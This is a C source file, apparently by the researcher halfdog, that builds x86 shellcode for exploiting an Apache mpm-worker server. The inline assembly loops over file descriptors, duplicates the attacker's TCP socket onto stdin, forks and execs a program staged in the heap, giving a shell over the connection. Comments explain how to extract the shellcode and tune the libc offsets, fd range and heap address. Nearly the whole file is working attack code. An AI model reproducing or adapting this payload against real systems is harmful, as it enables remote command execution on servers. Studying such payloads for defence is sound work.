/** This software is provided by the copyright owner "as is" to * study it but without any expressed or implied warranties, that * this software is fit for any other purpose. If you try to compile * or run it, you do it solely on your own risk and the copyright * owner shall not be liable for any direct or indirect damage * caused by this software. * * Copyright (c) 2011 halfdog * * Compile, cut shellcode from hex between 4141 and 9090 * * gcc -g -o ForkPayload ForkPayload.c */ #include #include int main(int argc, char **argv) { int *address; int maddr,result; address=mmap((void*)(0x40000000), 1<<20, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); fprintf(stderr, "Memory at 0x%x\n", (int)address); mprotect((void*)((int)(address)+(1<<16)), (1<<12), PROT_EXEC|PROT_READ|PROT_WRITE); maddr=*((int*)(((int)mprotect)+2)); // offset entry maddr=*((int*)(maddr))+1; // maddr offset fprintf(stderr, "mprotect 0x%x\n", maddr); asm volatile ( // Start marker "pushl 0x41414141;" // Stack still contains old return address in mprotect. Store it in // ebx, since ebx is not modified during following syscalls "movl -0xc(%%esp),%%ebx;" // Spread the stack layout otherwise mpm-worker syscall will crash // due to using same stack memory in multiple threads. This is // still racy, but risk for context switch between addl and pop // is very slim "lea -0x38(%%esp),%%esp;" "addl $0x40,(%%esp);" "popl %%esp;" "xorl %%esi,%%esi;" // stdin of shell "xorl %%edi,%%edi;" // First fd to dup, usually mpm tcp socket are in range 0x10 - 0x20, // depending on how many logfiles running or modules have open fds. // Use a higer value when apache has more fds. Caveat: value too high // might result in other mpm-thread SEGV before this thread can do // his first fork. "add $0x22,%%edi;" "forkloop:;" "dec %%edi;" "jz endloop;" "movl %%edi,(%%esp);" // fd "movl %%esi,0x4(%%esp);" // stdin // load dup2 addr rel to mprotect, use lea with negative value to // stay 0-byte free // print /x *dup2 - *mprotect - 25 "lea 0xffff3aa7(%%ebx),%%eax;" // dup2 fd to stdin: leaves ebx intact "call *%%eax;" // Just test if fork was successful, telling us that this is a valid // fd. It does not matter if shell is started on logfile-fd, this // will just leave a dead shell "test %%eax,%%eax;" "jnz forkloop;" // load fork addr rel to mprotect: // print /x *__libc_fork - *mprotect - 25 "lea 0xfffcc207(%%ebx),%%eax;" "call *%%eax;" // fork "test %%eax,%%eax;" // fork failed or in parent process? "jnz forkloop;" // Replace with heap target pos after compile, should point to // apr_memnode_t + 0x8 + n*0x100 to have correct alignment. Just // insert 0-bytes in the otherwise 0-byte-less heap data "movl $0xade04008,%%eax;" "movl %%esi,0x7(%%eax);" "movl %%eax,(%%esp);" // program name "movl %%eax,0x8(%%esp);" // program name "lea 0x8(%%esp),%%eax;" "movl %%eax,0x4(%%esp);" // arglist "movl %%esi,0xc(%%esp);" // arg end // load execv addr rel to mprotect: // print /x *execv - *mprotect - 25 "lea 0xfffcc6a7(%%ebx),%%eax;" // execv "call *%%eax;" // exec "endloop:;" "jmp endloop;" "jmp forkloop;" "nop;" "nop;" "nop;" "nop;" "pushl 0x42424242;" : // output :"m"(maddr),"m"(result) // input (1) :"%ebx", "%edx", "%edi" // clobbered register ); return(0); }